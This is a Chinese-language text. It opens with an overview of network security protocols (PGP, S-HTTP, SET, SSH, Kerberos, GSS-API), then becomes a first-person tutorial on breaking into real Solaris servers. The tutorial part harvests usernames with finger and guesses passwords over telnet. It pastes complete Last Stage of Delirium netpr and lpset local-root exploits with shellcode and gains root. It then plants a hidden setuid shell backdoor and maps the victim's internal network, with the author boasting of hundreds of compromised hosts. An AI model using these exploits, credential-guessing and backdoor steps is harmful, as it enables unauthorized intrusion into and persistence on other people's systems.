  建立一个符合PEM规范的PKI也是一个政治性的过程,因为它需要多方在一个共同 点上达成信任。不幸的是,历史表明,政治性的过程总是需要时间的,作为一个 中间步骤,Phil Zimmermann开发了一个软件包,叫做PGP(pretty Good Privacy)。 PGP符合PEM的绝大多数规范,但不必要求PKI的存在。相反,它采用了分布式的信 任模型,即由每个用户自己决定该信任哪些其他用户。因此,PGP不是去推广一个 全局的PKI,而是让用户自己建立自己的信任之网。这就立刻产生一个问题,就是 分布式的信任模型下,密钥废除了怎么办。

  S-HTTP是Web上使用的超文本传输协议(HTTP)的安全增强版本,由企业集成技术公 司设计。S-HTTP提供了文件级的安全机制,因此每个文件都可以被设成私人/签字 状态。用作加密及签名的算法可以由参与通信的收发双方协商。S-HTTP提供了对 多种单向散列(Hash)函数的支持,如: MD2,MD5及SHA; 对多种单钥体制的支持, 如:DES,三元DES,RC2,RC4,以及CDMF; 对数字签名体制的支持,如: RSA和D SS。

  目前还没有Web安全性的公认标准。这样的标准只能由WWW Consortium,IETF或其 他有关的标准化组织来制定。而正式的标准化过程是漫长的,可能要拖上好几年, 直到所有的标准化组织都充分认识到Web安全的重要性。S-HTTP和SSL是从不同角 度提供Web的安全性的。S-HTTP对单个文件作“私人/签字”之区分,而SSL则把参 与通信的相应进程之间的数据通道按“私用”和“已认证”进行监管。Terisa公 司的SecureWeb工具软件包可以用来为任何Web应用提供安全功能。该工具软件包 提供有 RSA数据安全公司的加密算法库,并提供对SSL和S-HTTP的全面支持。

  另一个重要的应用是电子商务,尤其是信用卡交易。为使Internet上的信用卡交 易安全起见,MasterCard公司(同IBM,Netscape,GTE和Cybercash一道) 制定了 安全电子付费协议(SEPP),Visa国际公司和微软(和其他一些公司一道)制定了安 全交易技术(STT)协议。同时,MasterCard,Visa国际和微软已经同意联手推出I nternet上的安全信用卡交易服务。他们发布了相应的安全电子交易(SET)协议, 其中规定了信用卡持卡人用其信用卡通过Internet进行付费的方法。这套机制的 后台有一个证书颁发的基础结构,提供对X.509证书的支持。

  上面提到的所有这些加安全功能的应用都会面临一个主要的问题,就是每个这样 的应用都要单独进行相应的修改。因此,如果能有一个统一的修改手段,那就好 多了。通往这个方向的一个步骤就是赫尔辛基大学的Tatu Yloenen开发的安全sh ell(SSH)。SSH允许其用户安全地登录到远程主机上,执行命令,传输文件。它实 现了一个密钥交换协议,以及主机及客户端认证协议。SSH有当今流行的多种Uni x系统平台上的免费版本,也有由Data Fellows公司包装上市的商品化版本。

  把SSH的思路再往前推进一步,就到了认证和密钥分配系统。本质上,认证和密钥 分配系统提供的是一个应用编程界面(API),它可以用来为任何网络应用程序提供 安全服务,例如: 认证、数据机密性和完整性、访问控制以及非否认服务。目前 已经有一些实用的认证和密钥分配系统,如: MIT的Kerberos(V4与V5),IBM的Cr yptoKnight和Netwrok Security Program,DEC的SPX,Karlsruhe大学的指数安全 系统(TESS)等,都是得到广泛采用的实例。甚至可以见到对有些认证和密钥分配 系统的修改和扩充。例如,SESAME和OSF DCE对Kerberos V5作了增加访问控制服 务的扩充,Yaksha对Kerberos V5作了增加非否认服务的扩充。

  关于认证和密钥分配系统的一个经常遇到的问题是关于它们在Internet上所受到 的冷遇。一个原因是它仍要求对应用本身做出改动。考虑到这一点,对一个认证 和密钥分配系统来说,提供一个标准化的安全API就显得格外重要。能做到这一点, 开发人员就不必再为增加很少的安全功能而对整个应用程序大动手术了。因此, 认证系统设计领域内最主要的进展之一就是制定了标准化的安全API,即通用安全 服务API(GSS-API)。GSS-API(v1及v2)对于一个非安全专家的编程人员来说可能仍 显得过于技术化了些,但德州Austin大学的研究者们开发的安全网络编程(SNP), 把界面做到了比GSS-API更高的层次,使同网络安全性有关的编程更加方便了。

TOP

UNIX入侵过程

作者序言:



本来很久以前说要写篇sunos 入侵教程的,但一直都没空,也没兴趣写。

说到就要做到。今天有点无聊的感觉,写点东西吧。

不过,这是我的最后一篇入侵教程。

黑来黑去有什么意思呢,我觉得还是写些技术分析的文章好些。

希望新手们看了我的这最后一篇入侵教程,能找到一些感觉。

这只是一篇写给新手的入门教程,不是新手的免看。

***请不要入侵和破坏国内的网络***





说明:



因为某些原因,把涉及到的IP全部换成了192.168.0.*

下面是所用到的系统列表的说明:

192.168.0.1     Windows 2000 advanced server

192.168.0.2      Solaris 7 sparc , gcc

192.168.0.3      Solaris 5.6 sparc

192.168.0.4      Solaris 8 sparc

192.168.0.10     irix 6.5.8

192.168.0.20     redhat 6.2



注:Solaris 也就是Sun os,他们的转换是:

Solaris 8 = Sunos 5.8,Solaris 7 = Sunos 5.7,Solaris 2.6 =Sunos 5.6,Solaris 2.5 =Sunos 5.5...

(你使用的平台最好为NT\Win2000\Linux\Unix,这里我用的是Win2000 ,192.168.0.1)

约定:

文章里面的“(***文字***)”是对该行命令或信息的一些说明。

所用到的工具为:

SuperScan 3.0 http://www.cnhonker.com/tmp/SuperScan.zip

SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip

里面所用到的有些程序代码请到http://lsd-pl.net/http://www.hack.co.za 查找。





入侵故事的开始



我喜欢把肉鸡列表放在桌面上,而每次重装系统总是会忘记备份桌面上的东西。

记得有次重装系统丢了500多台各种肉鸡的列表,有时候想起来就觉得心痛,真可惜啊。

M$的东西真是破兼可恶,又一次重装系统完毕,我再一次丢了列表。

幸好,这次的肉鸡不算多,但是我的Gcc,又得重新找,可怜啊。

如果不是这次重装系统,可能这篇教程也不会写了吧。

花点时间找几台机器吧,没机器用可不行啊。

你也跟着我来找找吧。



土办法,要获得第一个帐号,最简单的就是用finger 了。(其实,厚着脸皮向人要是最简单的办法。:))

扫网段端口用什么好呢,给大家一个介绍。SuperScan 3.0

大家可以在http://www.cnhonker.com/tmp/SuperScan.zip 得到我亲自汉化的3.0版本。



(ps:

有幸与小榕成为同事,得到了一个特殊版本的流光。这里顺便也为他的流光做做广告,我觉得流光对新手来说,流光是
最好的工具了。记得去年9月份自己刚开始学习NT/Win2000的攻击的时候,就常用流光来扫网段,有人说 lion=只会用流
光的家伙,呵呵J其实我已经很久没用过流光了,就是去年9,10月份比较常用些。现在我对新版本的流光感觉很好,功能
很多,里面的很多功能都很不错,特别是finger 探测和猜解,很适合新手使用,大家不妨试试。最新版本的流光可以在
小榕的网站获得:http://www.netxeyes.com



很多人对我的个人情况感兴趣,在这里也顺便说一下我个人的成长经历吧,看了大家别笑哦,其实是这样的:

2000年3月8日到广州实习,开始上网,开始学用IE,用email收发信件;

4月建立了个人网站,当时还只会用木马;

5月学习Sunos 系统的攻击,当时对提升权限等还一窍不通,不过这个月份我发现了www.elong.com的邮件系统绕过口令验
证的严重漏洞;

6月回学校毕业答辩;

7月在广州开始专职搞网页设计;

8月对Sunos 系统攻击有了一定的了解;

9月换了家公司,安装了自己的第一个win2000,并学习使用和尝试攻击;

10月专职于网络安全工作;

11月初碰linux,当时也在学习各种攻击手段和各种系统的攻击方法;

12月建立红客联盟网站。

2001年1月回家过春节;

2月组织攻击日本;

3月慢慢对攻击系统失去了兴趣;

4月在考虑很多东西;

5月组织对美网络反击战,结束后北上北京;

6月枯燥无味的一个月;

7月已经或者将要做几个大的决定。

送给各位网友两句话:

“人要靠自己”

“我就是我”

其实这两句话也就是我的全部。)



发了一通牢骚,开始我们的学习历程吧。

哦,慢着,新手们先去看看我几个月前写的三篇UNIX入侵教程,看完了再继续。

准备好了吗?

让我们来揭开UNIX神秘的面纱…

come on baby…

第一天:





好不容易等到下班。:(

打开SuperScan 3.0,(列表文件没找到错误,可以点击端口设置,再选导入,选好此软件目录里的scanner..lst ,
点击完成。)在IP栏中输入你要扫描的网段,建议每次扫描在10个C段以内,在扫描类型中选中“显示主机的响应”一
栏,如果你的网速慢,把“只扫描能ping的主机”也打上勾,选中“所有端口从”那个单选项,然后在框里输入开始和
结束的端口,这里都填“79”,也就是finger的端口,最后点“开始”进行扫描。



扫描完成后,点“剪除”去掉没开79端口的主机列表,点“散开”或者点“保存”把结果存为文本文件以便分析扫描结果。

我们通常可以看到如下几种常见的主机响应:

1. … Line User Host(s) Idle Location..

2. No one logged on.

3. Login Name TTY Idle When Where..

4. 其他响应消息或者没有内容。

其中,我们只把2,3这两种的机器找出来。

现在我们开始手工找机器,或者用流光探测finger。

手工找其实也有窍门的,但很难说清楚,这里就一律用 finger 0@ip 来找SunOS的薄弱机器。下面的IP都用xxx.xxx.xxx.xxx代替。





-------------------------------------------------test--------------------------------------------------------------

C:\>finger 0@xxx.xxx.xxx.xxx



[xxx.xxx.xxx.xxx]

finger: 0: no such user.

-------------------------------------------------test--------------------------------------------------------------





失败,这个系统应该是linux,别灰心,我们继续找。





-------------------------------------------------test--------------------------------------------------------------

C:\>finger 0@xxx.xxx.xxx.xxx



[xxx.xxx.xxx.xxx]

Login Name TTY Idle When Where

daemon ??? < . . . . >

bin ??? < . . . . >

sys ??? < . . . . >

jeffrey ??? pts/0 203.66.149.11

daniel ??? 437 114cm.kcable.

jamie ??? 0 203.66.162.68

postgres ??? pts/2 203.66.162.80

nsadmin ??? 768 203.66.19.50

ho ??? 390 61.169.209.106

house18 ??? pts/1 203.66.250.1

tong ??? pts/0 210.226. 42.69

jliu ??? pts/0 203.66.52.87

ptai ??? < . . . . >

-------------------------------------------------test--------------------------------------------------------------





我们需要的就是这种,:)其中,第一列的jeffrey,Daniel,Jamie,postgres等就是这个主机上的用户名,其他的内容都是一
些用户的登陆信息。



现在,我们来测试一下这些帐号的密码强度。(大家最好利用这些用户和一些密码猜解的工具配合来做,不然会感到厌倦的,
不过我以前特别喜欢猜: test:test oracle:oracle ….猜密码的感觉还不错。)





-------------------------------------------------test--------------------------------------------------------------

C:\>telnet xxx.xxx.xxx.xxx



SunOS 5.6 (***目标系统是SunOS 5.6 也就是Solaris 2.6***)



login: ptai (***输入用户名***)

Password: **** (***输入密码***)

Login incorrect (***登陆失败***)

login: jliu

Password:

Login incorrect

$ login: tong

Password:

Last login: Mon Jul 2 13:21:55 from 210.226. 42.69 (***这个用户上次登陆时的IP***)

Sun Microsystems Inc. SunOS 5.6 Generic August 1997

You have mail. (***HOHO~登陆成功啦***)

$ uname –a (***查看系统版本和补丁信息***)

SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10

$ set (***查看一些系统变量信息***)

HOME=/export/home/tong

HZ=100

IFS=

LOGNAME=tong

MAIL=/var/mail/tong

MAILCHECK=600

OPTIND=1

PATH=/usr/bin:

PS1=$

PS2=>

SHELL=/bin/sh

TERM=ansi

TZ=Hongkong

$ gcc

gcc: not found (***可恶,没有编译器,我们继续找其他机器吧,等会回来收拾它。***)

$ telnet localhost (*** telnet一下本地,以免这个用户下次登陆时一下发现了IP问题***)

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.





SunOS 5.6



login: tong

Password:

Last login: Wed Jul 4 17:56:09 from 211.99.42.226

Sun Microsystems Inc. SunOS 5.6 Generic August 1997

You have mail.

$ exit

Connection closed by foreign host.

$ exit



遗失对主机的连接。

C:\>

-------------------------------------------------test--------------------------------------------------------------





我们继续猜解,若干时间过后,还不给我找到一个。:)

这台主机的IP用192.168.0.2代替啦。





-------------------------------------------------test--------------------------------------------------------------

C:\>finger 0@192.168.0.2



[192.168.0.2]

Login Name TTY Idle When Where

daemon ??? < . . . . >

bin ??? < . . . . >

sys ??? < . . . . >

dennis ??? pts/5 pcd209117.netvig

oracle ??? pts/5 o2

qwork ??? < . . . . >

kenneth1 ??? pts/4 cm61-18-172-213.

wing ??? pts/6 11 Wed 18:02 office

wilson ??? pts/11 203.66.200.90

srini ??? 363 office

eric ??? pts/8 office

render7 ??? 62 211.18.109.186

delex ??? < . . . . >

render9 ??? 023 office



C:\>telnet 192.168.0.2



SunOS 5.7



login: render9

Password:

Login incorrect

login: delex

Password:

*********************************************************



# The JRun is now replaced by JServ

# To restart the servlet server, please use



rs.sh



# However, as the JServ will reload those classes

# inside the "/usr/proj/gipex/class", you just

# need to remove the old class with the new one.



*********************************************************

$ w

6:19pm up 61 day(s), 3:40, 3 users, load average: 0.11, 0.07, 0.10

User tty login@ idle JCPU PCPU what

root console 4May0161days 2 2 /usr/dt/bin/sdt_shell -c ?

u

root pts/4 Fri 4pm 5days tail -f syslog

delex pts/7 6:19pm w

$ uname -a

SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10

$w

4:24pm up 62 day(s), 1:45, 3 users, load average: 0.02, 0.02, 0.02

User tty login@ idle JCPU PCPU what

root console 4May0162days 2 2 /usr/dt/bin/sdt_shell -c ? u

root pts/4 Fri 4pm 6days tail -f syslog

$ gcc

gcc: No input files

-------------------------------------------------test--------------------------------------------------------------





HOHO~终于找到一台有编译器的SunOS啦

现在我们来简单找找前面有没有入侵者。:)





-------------------------------------------------test--------------------------------------------------------------

$ ls -al

total 14

drwxrwxr-x 2 delex staff 512 Jul 4 18:28 .

drwxr-xr-x 35 root root 1024 May 7 10:46 ..

-rw-r--r-- 1 delex staff 144 May 2 10:46 .profile

-rw------- 1 root staff 320 Jul 4 18:52 .sh_history

-rw-r--r-- 1 delex staff 124 May 2 10:46 local.cshrc

-rw-r--r-- 1 delex staff 581 May 2 10:46 local.login

-rw-r--r-- 1 delex staff 562 May 2 10:46 local.profile

$ cat /etc/passwd (***检查/etc/passwd***)

root:x:0:1:Super-User:/:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

lp:x:71:8:Line Printer Admin:/usr/spool/lp:

uucp:x:5:5:uucp Admin:/usr/lib/uucp:

nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:Nobody:/:

noaccess:x:60002:60002:No Access User:/:

nobody4:x:65534:65534:SunOS 4.x Nobody:/:

dennis:x:1005:20::/export/home/dennis:/bin/sh

oracle:x:1001:100::/export/home/oracle:/bin/sh

render7:x:9589:101::/export/home/render7:/bin/sh

delex:x:1035:20::/export/home/delex:/bin/sh

ac1:x:3000:300:Agent Client 1:/export/home/ac1:/bin/sh

ac2:x:3001:300:Agent Client 2:/export/home/ac2:/bin/sh

render9:x:9591:101::/export/home/render9:/bin/sh

$ ls -al / (***查看根目录是否有.rhosts等文件***)

total 381

drwxrwxrwx 35 root root 1024 Jun 29 16:52 .

drwxrwxrwx 35 root root 1024 Jun 29 16:52 ..

-rw------- 1 root other 152 May 4 14:39 .Xauthority

drwxrwxr-x 4 root other 512 Feb 20 10:33 .cpan

-rw------- 1 root root 1032 May 4 14:39 .cpr_config

-rw-r--r-- 1 root other 947 Apr 14 2000 .desksetdefaults

drwxr-xr-x 15 root other 512 Jun 20 13:09 .dt

-rwxr-xr-x 1 root other 5111 Apr 13 2000 .dtprofile

drwx------ 5 root other 512 Apr 14 2000 .fm

drwxr-xr-x 2 root other 512 Apr 13 2000 .hotjava

drwxr-xr-x 4 root other 512 Mar 14 17:42 .netscape

-rw------- 1 root other 1024 Dec 8 2000 .rnd

-rw-rw-r-- 1 nobody staff 402 Jun 12 11:14 .svg

drwx------ 2 root other 512 Apr 13 2000 .wastebasket

drwx------ 2 root other 512 Apr 13 2000 DeadLetters

drwx------ 2 root other 512 Apr 13 2000 Mail

drwxr-xr-x 2 root root 512 Apr 13 2000 TT_DB

drwxrwxr-x 2 moluk other 512 Dec 25 2000 XYIZNWSK

lrwxrwxrwx 1 root root 9 Apr 13 2000 bin -> ./usr/bin

drwxr-xr-x 2 root nobody 512 Jun 20 13:19 cdrom

-rw------- 1 root other 77 Jun 7 15:03 dead.letter

drwxrwxr-x 18 root sys 3584 May 4 14:39 dev

drwxrwxr-x 4 root sys 512 Apr 13 2000 devices

drwxr-xr-x 9 root root 512 Jun 12 14:47 disk2

drwxr-xr-x 32 root sys 3584 Jul 4 18:53 etc

drwxrwxr-x 3 root sys 512 Apr 13 2000 export

dr-xr-xr-x 1 root root 1 May 4 14:39 home

drwxr-xr-x 9 root sys 512 Dec 20 2000 kernel

lrwxrwxrwx 1 root root 9 Apr 13 2000 lib -> ./usr/lib

drwx------ 3 root root 8192 Apr 13 2000 lost+found

drwxrwxr-x 2 root sys 512 Apr 13 2000 mnt

dr-xr-xr-x 1 root root 1 May 4 14:39 net

-rw-rw-r-- 1 nobody staff 13 Feb 20 16:53 newsletteradminmail.ost

drwx------ 2 root other 512 May 6 2000 nsmail

drwxrwxr-x 7 root sys 512 Apr 28 2000 opt

drwxr-xr-x 12 root sys 512 Apr 13 2000 platform

dr-xr-xr-x 192 root root 126912 Jul 4 19:00 proc

drwxrwxr-x 2 root sys 512 Dec 20 2000 sbin

drwxrwxr-x 2 root 10 512 Feb 15 14:50 snap

drwxrwxrwt 7 sys sys 986 Jul 4 19:00 tmp

drwxrwxr-x 29 root sys 1024 May 3 17:32 usr

drwxr-xr-x 26 root sys 512 Jun 12 14:49 var

dr-xr-xr-x 6 root root 512 May 4 14:39 vol

drwxr-xr-x 2 wing 10 512 Nov 6 2000 web

dr-xr-xr-x 1 root root 1 Jul 4 18:55 xfn

$ find / -user root -perm -4000 -exec ls -al {} \;

-r-s--x--x 1 root bin 19564 Sep 1 1998 /usr/lib/lp/bin/netpr

-r-sr-xr-x 1 root bin 15260 Oct 6 1998 /usr/lib/fs/ufs/quota

-r-sr-sr-x 1 root tty 174352 Nov 6 1998 /usr/lib/fs/ufs/ufsdump

-r-sr-xr-x 1 root bin 856064 Nov 6 1998 /usr/lib/fs/ufs/ufsrestore

---s--x--x 1 root bin 4316 Oct 6 1998 /usr/lib/pt_chmod

-r-sr-xr-x 1 root bin 8576 Oct 6 1998 /usr/lib/utmp_update

-rwsr-xr-x 1 root adm 5304 Sep 1 1998 /usr/lib/acct/accton

-r-sr-xr-x 1 root bin 643464 Sep 1 1998 /usr/lib/sendmail



…. (***结果太多这里省略了,主要是简单找找有没有其他以前的入侵者。***)



$ps –ef

UID PID PPID C STIME TTY TIME CMD

root 0 0 0 May 04 ? 0:01 sched

root 1 0 0 May 04 ? 1:03 /etc/init -

root 2 0 0 May 04 ? 0:01 pageout

root 3 0 1 May 04 ? 476:33 fsflush

root 225 1 0 May 04 ? 0:01 /usr/lib/utmpd

root 115 1 0 May 04 ? 0:01 /usr/sbin/rpcbind

root 299 1 0 May 04 ? 0:00 /usr/lib/saf/sac -t 300

root 52 1 0 May 04 ? 0:00 /usr/lib/devfsadm/devfseventd

root 54 1 0 May 04 ? 0:00 /usr/lib/devfsadm/devfsadmd

root 117 1 0 May 04 ? 0:00 /usr/sbin/keyserv

root 239 1 0 May 04 ? 0:13 /usr/lib/inet/xntpd

root 142 1 0 May 04 ? 0:11 /usr/sbin/inetd -s

root 163 1 0 May 04 ? 2:50 /usr/sbin/in.named

root 164 1 0 May 04 ? 0:01 /usr/lib/autofs/automountd

daemon 153 1 0 May 04 ? 0:00 /usr/lib/nfs/statd

root 275 1 0 May 04 ? 0:01 /usr/lib/nfs/mountd

root 152 1 0 May 04 ? 0:00 /usr/lib/nfs/lockd





$ netstat -an|grep LISTEN (***查看有没有可疑端口***)

*.111 *.* 0 0 0 0 LISTEN

*.21 *.* 0 0 0 0 LISTEN

*.23 *.* 0 0 0 0 LISTEN

*.514 *.* 0 0 0 0 LISTEN

*.513 *.* 0 0 0 0 LISTEN

*.512 *.* 0 0 0 0 LISTEN

*.540 *.* 0 0 0 0 LISTEN

*.79 *.* 0 0 0 0 LISTEN

*.37 *.* 0 0 0 0 LISTEN

*.7 *.* 0 0 0 0 LISTEN

*.9 *.* 0 0 0 0 LISTEN

*.13 *.* 0 0 0 0 LISTEN

*.19 *.* 0 0 0 0 LISTEN

….

$…(***省略了对端口进行的一番测试,看有没有bind suid root shell port ***)



$ cd /tmp

$ ls -al

total 1314

drwxrwxrwt 7 sys sys 986 Jul 4 19:00 .

drwxrwxrwx 35 root root 1024 Jun 29 16:52 ..

drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe

drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix

drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia

drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable

drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door

-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class

-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0

-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb

-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf

-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data

-rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399

-rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock

-rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data

$strings /bin/login



$… (***这里省略了对一些文件的简单测试****)



-------------------------------------------------test--------------------------------------------------------------





基本上没发现什么问题,来提升我们的权限吧。:)





-------------------------------------------------test--------------------------------------------------------------

$ set

EDITOR=vi

HOME=/export/home/delex

HZ=100

IFS=



LD_LIBRARY_PATH=/export/home/software/setadapters/solaris2/cgi-bin/lib:

LOGNAME=delex

MAIL=/usr/mail/delex

MAILCHECK=600

MANPATH=:/usr/share/man:/usr/local/man

OPTIND=1

PATH=/usr/bin::/usr/bin:/usr/local/bin:/usr/bin:/usr/ucb:/usr/ccs/bin:/usr/sbin:/usr/local:/usr/local/bin
:/export/home/oracle/product/8.1.6/bin

PS1=$

PS2=>

SHELL=/bin/sh

TERM=vt100

TZ=Hongkong

_INIT_PREV_LEVEL=S

_INIT_RUN_LEVEL=3

_INIT_RUN_NPREV=0

_INIT_UTS_ISA=sparc

_INIT_UTS_MACHINE=sun4u

_INIT_UTS_NODENAME=develop

_INIT_UTS_PLATFORM=SUNW,Ultra-5_10

_INIT_UTS_RELEASE=5.7

_INIT_UTS_SYSNAME=SunOS

_INIT_UTS_VERSION=Generic_106541-14

$ uname -a

SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10

$ cd /tmp

$ cat > test.c (***用cat命令写一个文件***)

/*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/

/*## /usr/lib/lp/bin/netpr #*/



/* requires to specify the address of a host with 515 port opened */



#define NOPNUM 4000

#define ADRNUM 1200

#define ALLIGN 3



char shellcode[]=

"\x20\xbf\xff\xff" /* bn,a */

"\x20\xbf\xff\xff" /* bn,a */

"\x7f\xff\xff\xff" /* call */

"\x90\x03\xe0\x20" /* add %o7,32,%o0 */

"\x92\x02\x20\x10" /* add %o0,16,%o1 */

"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */

"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */

"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */

"\x82\x10\x20\x0b" /* mov 0xb,%g1 */

"\x91\xd0\x20\x08" /* ta 8 */

"/bin/ksh"

;



char jump[]=

"\x81\xc3\xe0\x08" /* jmp %o7+8 */

"\x90\x10\x00\x0e" /* mov %sp,%o0 */

;



static char nop[]="\x80\x1c\x40\x11";



main(int argc,char **argv){

char buffer[10000],adr[4],*b,*envp[2];

int i;



printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n");

printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");



if(argc==1){

printf("usage: %s lpserver\n",argv[0]);

exit(-1);

}



*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;



envp[0]=&buffer[0];

envp[1]=0;



b=&buffer[0];

sprintf(b,"xxx=");

b+=4;

for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;

for(i=0;i
for(i=0;i
*b=0;



b=&buffer[5000];

for(i=0;i
for(i=0;i
*b=0;



execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],

"-p",&buffer[5000],"/bin/sh",0,envp);

}

^D (***这里是按ctrl + d 结束写文件,你用vi来写也可以,ftp,rcp等上传也可以。***)

(***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_netpr ***)

$ ls -al /tmp (***查看test.c是否建立***)

total 1330

drwxrwxrwt 7 sys sys 1049 Jul 4 19:07 .

drwxrwxrwx 35 root root 1024 Jun 29 16:52 ..

drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe

drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix

drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia

drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable

drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door

-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class

-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0

-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb

-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf

-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data

-rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399

-rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock

-rw-rw-r-- 1 delex staff 2019 Jul 4 19:10 test.c

-rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data

$ gcc -o test test.c (***一般编译用这个方式就可以了,更多资料请查看帮助***)

$ ./test

copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/

/usr/lib/lp/bin/netpr solaris 2.7 sparc



usage: ./test lpserver

$ ./test localhost

copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/

/usr/lib/lp/bin/netpr solaris 2.7 sparc



# id

uid=1035(delex) gid=20(staff) euid=0(root) (***成功获得root***)

# mkdir /usr/lib/...

# cp /bin/ksh /usr/lib/…/.x (***做个简单的后门***)

# chmod +s /usr/lib/…/.x

# cat /etc/hosts (***看看这个网络多大***)

##################################################

## Gips Limited Server Hosts Names

## 2001-03-01 (develop)

##################################################

127.0.0.1 localhost loghost



##################################################

## Gipex (Internal - CITIC Back-End)

192.168.2.1 office-i2 gate-citic-backend

192.168.2.5 render1 render1-i1



##################################################

## Gipex (Internal - CITIC Office)

192.168.1.1 office-i1 gate-citic-office



##################################################

## Gipex (Internal - iLink)

192.168.100.1 backup-i1 gate-ilink-vpn

## .2 - .9

192.168.100.10 www1-i1

192.168.100.11 db1 db1-i1 www0-i1 www0 www0.xxwex.com

192.168.100.12 snap1

## .13

192.168.100.14 snap2

192.168.100.15 snap3

192.168.100.16 www2-i1 mail-i1

192.168.100.17 www2-i2 mail-i2

192.168.100.18 render2 render2-i1

192.168.100.19 render2-i2

## .20 - .252

192.168.100.253 switch1

## .254

# /usr/sbin/ping 192.168.100.253

ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)

for icmp from develop (192.168. 0.2) to www1-i1 (192.168.100.253)

ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)

for icmp from develop (192.168.0.2) to www1-i1 (192.168.100.253)

ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)

for icmp from develop (192.168.0.2) to www1-i1 (192.168.100.253)

^C (***局域网是连通的 ***)

#

-------------------------------------------------test--------------------------------------------------------------





以后有空再慢慢搞它的内部网吧

现在先回去把那台SunOS 5.6干掉。





-------------------------------------------------test--------------------------------------------------------------

# cat >lpset.c (***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_lpset ***)

/*## copyright LAST STAGE OF DELIRIUM apr 2000 poland *://lsd-pl.net/ #*/

/*## /usr/bin/lpset #*/



#define NOPNUM 864

#define ADRNUM 132

#define ALLIGN 3



char shellcode[]=

"\x20\xbf\xff\xff" /* bn,a */

"\x20\xbf\xff\xff" /* bn,a */

"\x7f\xff\xff\xff" /* call */

"\x90\x03\xe0\x20" /* add %o7,32,%o0 */

"\x92\x02\x20\x10" /* add %o0,16,%o1 */

"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */

"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */

"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */

"\x82\x10\x20\x0b" /* mov 0xb,%g1 */

"\x91\xd0\x20\x08" /* ta 8 */

"/bin/ksh"

;



char jump[]=

"\x81\xc3\xe0\x08" /* jmp %o7+8 */

"\x90\x10\x00\x0e" /* mov %sp,%o0 */

;



static char nop[]="\x80\x1c\x40\x11";



main(int argc,char **argv){

char buffer[10000],adr[4],*b;

int i;



printf("copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/\n");

printf("/usr/bin/lpset for solaris 2.6 2.7 sparc\n\n");



*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10088+400;



b=buffer;

sprintf(b,"xxx=");

b+=4;

for(i=0;i<2;i++) *b++=0xff;

for(i=0;i
for(i=0;i
for(i=0;i
for(i=0;i
*b=0;



execle("/usr/bin/lpset","lsd","-n","xfn","-a",buffer,"printer",0,0);

}

^D



# gcc -o lpset lpset.c

/bin/ksh: gcc: not found

# exit

$ gcc -o lpset lpset.c

$ ls -al

total 1410

drwxrwxrwt 7 sys sys 1236 Jul 4 20:33 .

drwxrwxrwx 35 root root 1024 Jul 4 19:15 ..

drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe

drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix

drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia

drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable

drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door

-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class

-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0

-rwxrwxr-x 1 delex staff 8572 Jul 4 20:33 lpset

-rw-rw-r-- 1 delex staff 1685 Jul 4 20:32 lpset.c

